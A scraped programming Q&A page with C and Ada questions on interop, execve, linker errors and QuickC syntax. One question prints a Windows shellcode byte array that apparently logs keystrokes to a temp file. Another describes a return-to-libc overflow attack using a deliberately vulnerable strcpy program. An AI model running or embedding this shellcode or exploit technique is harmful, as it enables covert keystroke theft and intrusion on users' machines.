I am trying to access a string declared in a C program from an Ada subprogram, but I get a segmentation fault. Would anyone be able to help me fix this?
Here's an example of what fails, it seems that the segfault comes from the call to Interfaces.C.Strings.Value in ada_decs.adb, but I'm not sure why, or how I can make it work.
The backtrace from gdb shows:
#0 0x00000000004167ea in system.secondary_stack.ss_mark ()
#1 0x00000000004037e6 in ada_print_it (s=0x427244 "Hello") at (...)/ada_decs.adb:2
#2 0x000000000040327c in main (argc=1, argv=0x7fffffffe568) at (...)/main.c:5
(with (...) signifying the full file path).
ada_decs.ads:
with Interfaces.C.Strings;
with Ada.Text_IO;
package Ada_Decs is
procedure Print_It (s : Interfaces.C.Strings.chars_ptr) with
Export => True,
Convention => C,
External_Name => "ada_print_it";
end Ada_Decs;
ada_decs.adb:
package body Ada_Decs is
procedure Print_It (s : Interfaces.C.Strings.chars_ptr) is
str : String := Interfaces.C.Strings.Value(s);
begin
Ada.Text_IO.Put_Line(str);
end Print_It;
end Ada_Decs;
main.c:
#include <stdio.h>
extern void ada_print_it (const char *s);
int main(int argc, const char *argv[]) {
const char *hello = "Hello";
ada_print_it(hello);
}
For a main program written in C, you need to allow the Ada RTS to initialise itself before you can use any of its functionality. And shut itself down on exit.
The adainit() and adafinal() calls will do this.
extern void adainit (void);
extern void adafinal (void);
int main(int argc, const char *argv[]) {
adainit();
const char *hello = "Hello";
ada_print_it(hello);
adafinal();
}
For a main program written in Ada. this is taken care of automatically by the binder, Gnatbind.
You may also need to add linker arguments to let the linker find these RTS functions : see the Gnat documents (chapter 3.11, Mixed Language interfacing) for more details. There's a worked example at the bottom of this page.
Both links for gcc9.3; other gcc versions may differ a little so check the correct documentation.
Related
I've just recently been exploring the execve() system function. This code might not make much sense but that's not the main focus of this question. (I've managed to make it work correctly since, using this thread).
I've come across a really weird behavior and wanted either an explanation or a confirmation that something like this should not happen.
The "bugged" code is this:
#include <unistd.h>
int main(int argc, char **argv, char **env)
{
if (argc != 2)
return (ERROR_CODE);
char *test[] = { argv[1] };
char *a[] = { NULL };
execve(argv[1], test, env);
return (SUCCESS_CODE);
}
Compiling and executing it with an argument will correctly execute that function, in my case:
$> gcc main.c
$> ./a.out "/bin/ls"
This would work like the ls function would.
Now remove/comment this line:
char *a[] = { NULL };
This variable is clearly not used and completely useless.
Do the same steps once again and for some reason, it doesn't output anything, this one random variable breaks the code for me. (I'm running Ubuntu 20.04 with Gnome 3.36.8 and gcc 9.3.0).
If you need any more information about my OS or anything, feel free to ask.
PS: I think I understand the way the code is trying to work this out but It makes no sense to me.
$> man execve
main(int argc, char *argv[])
char *newargv[] = { NULL, "hello", "world", NULL };
...
execve(argv[1], newargv, newenviron);
The manual example null-terminates "newargv", my idea is that somehow, somewhere, the compiler decided to fuse together my variables "test" and "a", to null-terminate "test"?
Yep, you're accidentally seeing that "fusing" since you're not correctly terminating argv with a NULL and the memory layout happens to be in your favor. If you were less lucky, you'd get garbage in there, or a segfault.
Quoth the manpage (Linux, Darwin), emphasis mine,
The argument argv is a pointer to a null-terminated array of character pointers to null-terminated character strings.
#include <unistd.h>
int main(int argc, char **argv, char **env)
{
if (argc != 2)
return (ERROR_CODE);
char *test[] = { argv[1], NULL };
execve(argv[1], test, env);
return (SUCCESS_CODE);
}
would be the correct invocation.
If I execute the following code, it´s prin this stack dump error message:
1 [main] MyProg 10876 cygwin_exception::open_stackdumpfile: Dumping stack trace to MyProg.exe.stackdump
after it prints
Shellcode length: 601
Can you say me, what I should change, to get it working?
I have compiled it with Sublime Text and cygwin on Windows 10 64bit.
This is the code:
#include <stdio.h>
#include <string.h>
const char sc[] = "\xfc\x31\xd2\xb2\x30\x64\xff\x32\x5a\x8b\x52\x0c\x8b\x52\x14\x8b"
"\x72\x28\x31\xc0\x89\xc1\xb1\x03\xac\xc1\xc0\x08\xac\xe2\xf9\xac"
"\x3d\x4e\x52\x45\x4b\x74\x05\x3d\x6e\x72\x65\x6b\x8b\x5a\x10\x8b"
"\x12\x75\xdc\x8b\x53\x3c\x01\xda\xff\x72\x34\x8b\x52\x78\x01\xda"
"\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74"
"\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64"
"\x64\x72\x65\x75\xe2\x49\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x8b"
"\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x89\xd7\x52\x31\xc0\x50\x68"
"\x64\x6c\x65\x41\x68\x65\x48\x61\x6e\x68\x6f\x64\x75\x6c\x68\x47"
"\x65\x74\x4d\x54\x53\xff\xd7\x8d\x64\x24\x14\x50\x68\x4c\x4c\x01"
"\x88\xfe\x4c\x24\x02\x68\x33\x32\x2e\x44\x68\x55\x53\x45\x52\x54"
"\xff\xd0\x31\xd2\x39\xd0\x75\x38\x8d\x64\x24\x0c\x52\x68\x61\x72"
"\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd7"
"\x8d\x64\x24\x10\x50\x68\x4c\x4c\x01\x77\xfe\x4c\x24\x02\x68\x33"
"\x32\x2e\x44\x68\x55\x53\x45\x52\x54\xff\xd0\x8d\x64\x24\x0c\x50"
"\x89\xc2\x68\x61\x74\x65\x01\xfe\x4c\x24\x03\x68\x65\x79\x53\x74"
"\x68\x47\x65\x74\x4b\x54\x52\xff\xd7\x8d\x64\x24\x0c\x50\x68\x65"
"\x01\x01\x55\xfe\x4c\x24\x01\x68\x65\x46\x69\x6c\x68\x57\x72\x69"
"\x74\x54\x53\xff\xd7\x8d\x64\x24\x0c\x50\x68\x6c\x65\x41\x01\xfe"
"\x4c\x24\x03\x68\x74\x65\x46\x69\x68\x43\x72\x65\x61\x54\x53\xff"
"\xd7\x8d\x64\x24\x0c\x50\x68\x6c\x65\x41\x01\xfe\x4c\x24\x03\x68"
"\x72\x69\x61\x62\x68\x6e\x74\x56\x61\x68\x6f\x6e\x6d\x65\x68\x6e"
"\x76\x69\x72\x68\x47\x65\x74\x45\x54\x53\xff\xd7\x8d\x64\x24\x18"
"\x50\x6a\x70\x68\x53\x6c\x65\x65\x54\x53\xff\xd7\x8d\x64\x24\x08"
"\x50\x52\x68\x63\x61\x74\x41\x68\x6c\x73\x74\x72\x54\x53\xff\xd7"
"\x8d\x64\x24\x0c\x50\x31\xc9\xb1\x0e\x51\xe2\xfd\x51\x68\x54\x45"
"\x4d\x50\x89\xe1\x6a\x40\x51\x51\xff\x54\x24\x54\x89\xe2\x6a\x01"
"\xfe\x0c\x24\x68\x2e\x62\x69\x6e\x68\x5c\x6c\x6f\x67\x89\xe1\x51"
"\x52\xff\x54\x24\x54\x31\xc9\x51\x51\x80\x04\x24\x80\x6a\x04\x51"
"\x6a\x02\x51\x80\x04\x24\x04\x50\xff\x54\x24\x74\x8d\x64\x24\x4c"
"\x50\x31\xc9\x89\xce\xb1\x08\x56\xe2\xfd\x31\xc9\x31\xf6\x6a\x08"
"\xff\x54\x24\x2c\x89\xf0\x3c\xff\x73\xf0\x46\x56\xff\x54\x24\x3c"
"\x89\xf2\x31\xc9\xb1\x80\x21\xc8\x31\xc9\x39\xc8\x75\x10\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xb3\x14\x84\xeb\xd6\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xa3\x14\x84\x72\xc6\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xab\x14\x84\x31\xc9\x56\x51"
"\x8d\x0c\x24\x51\x6a\x01\x8d\x4c\x24\x0c\x51\xff\x74\x24\x34\xff"
"\x54\x24\x4c\x8d\x64\x24\x04\xeb\x91";
int main(int argc, char *argv[]){
printf("Shellcode length: %d\n", (int)strlen(sc));
(*(void(*)(void))&sc)();
return 0;
}
This: (*(void(*)(void))&sc)();
You're taking a pointer to the first element of a const char[], casting it to a function pointer and attempting to execute that function.
I can't honestly imagine that ever succeeding.... the only way I can think of to 'get it working', since I have no idea what your intention is, is to not cast const char pointer and attempt to execute it as a function.
If you just want a pointer to a function, this is easy:
void sc (void)
{
// do things
}
int main (void)
{
void (*fptr)(void);
fptr = sc;
fptr();
}
I'm trying to implement a return-to-libc buffer overflow attack by finding the address of system() with gdb and returning to said address with /bin/sh passed as an argument to system() on the stack. The only problem is, I can't find the address in memory where system() lives, as running print system in gdb returns "No symbol table is loaded. Use the "file" command.", which isn't especially helpful, as loading libc.so into gdb doesn't do me any good. Is there a way I can find the addresses of functions in libc which I have not included via headers?
For reference, the code I'm testing this with is below, DEP is enabled, and ASLR is disabled.
#include <stdio.h>
#include <string.h>
void foo(char *arg) {
char buf[100];
strcpy(buf, arg);
}
int main(int argc, char **argv) {
foo(argv[1]);
return 0;
}
In my main.c , i have :
int myvar[4] = {0,1,2,3};
int main(int argc, char *argv[])
{
...................
}
When I try to access myvar in another file as below:
extern int myvar[4];
if (myvar[0] == 1) do something;
When I build this (after cleaning the project), errors "LNK2001: unresolved external symbol _myvar" and "fatal error LNK1120: 1 unresolved externals" are observed. But if I comment the 'if' statement alone, then the solution builds fine and I can observe the correct values for myvar in the watch window in debug mode. I am confused regarding why this is happening. Any help would be highly appreciated!
Since you mention in your comment that the usage is split up into two different libs, you need to set up a dependency for the using library (the one that has extern int myvar[4];) to the providing library (the lib providing the main function and declaring int myvar[4]).
However, this could lead you into the problem that you have circurlar dependencies: usually the library providing the main function will call some functions in other libraries.
If you need myvar in your using library, then pass it down with an init function that gets called in order to initialize the using library.
An example for your work to be done assuming that the main() function is provided by lib_a and the library accessing myvar is called lib_b:
In lib_a do the following:
int main(int argc, char *argv[])
{
lib_b_init(sizeof(myvar)/sizeof(*myvar), myvar);
/* rest of your code goes here */
}
In lib_b in addition to the functions already provided, add the following:
static int* g_libb_myvar = (int*) 0; /* local pointer to myvar of lib_a */
static int g_libb_myvar_size = 0; /* to note the length of the array */
/* Initializer for lib_b
*
* #param a_count number of elements held in the a_myvar array
* #param a_myvar array getting passed down by caller
* */
void lib_b_init( int a_count, int* a_myvar ) {
g_libb_myvar_size = a_count;
g_libb_myvar = a_myvar; /* now, you could use g_libb_myvar in lib_b */
}
For a very specific project, I need to write a 16-bit program in C and I'm using Microsoft QuickC in MS-DOS to write this program. Now I'm pretty sure the syntax of my program is correct but the program just won't compile and it thinks I have syntax errors. Is this because C-compilers in MS-DOS using an older version of C with different syntax?
#include<stdio.h>
main()
{
printf("Hello World!");
}
Not even that simple hello world program will compile and run.
you should define main as int
so change your code to :
int main() { // define main as an int returning function
// your code
return 0; // Also make sure you have return statement in main
}
and it will compile
Here is what it says in the standards:
1 The function called at program startup is named main. The implementation declares no prototype for this function. It shall be defined with a return type of int :
int main(void) { /* ... */ }
Edit:
Ok from your comments .. you are now getting this error:
C1024: cannot open include file 'stdio.h'
Here is a cause and solution from microsoft:
http://support.microsoft.com/kb/97809
You can't omit the type of the function main, or any other C function, for that matter. So, you want
void main() { ... }
or
int main(int argc, char **argv) { ... }
although with the latter one the compiler will usually require you to return a value.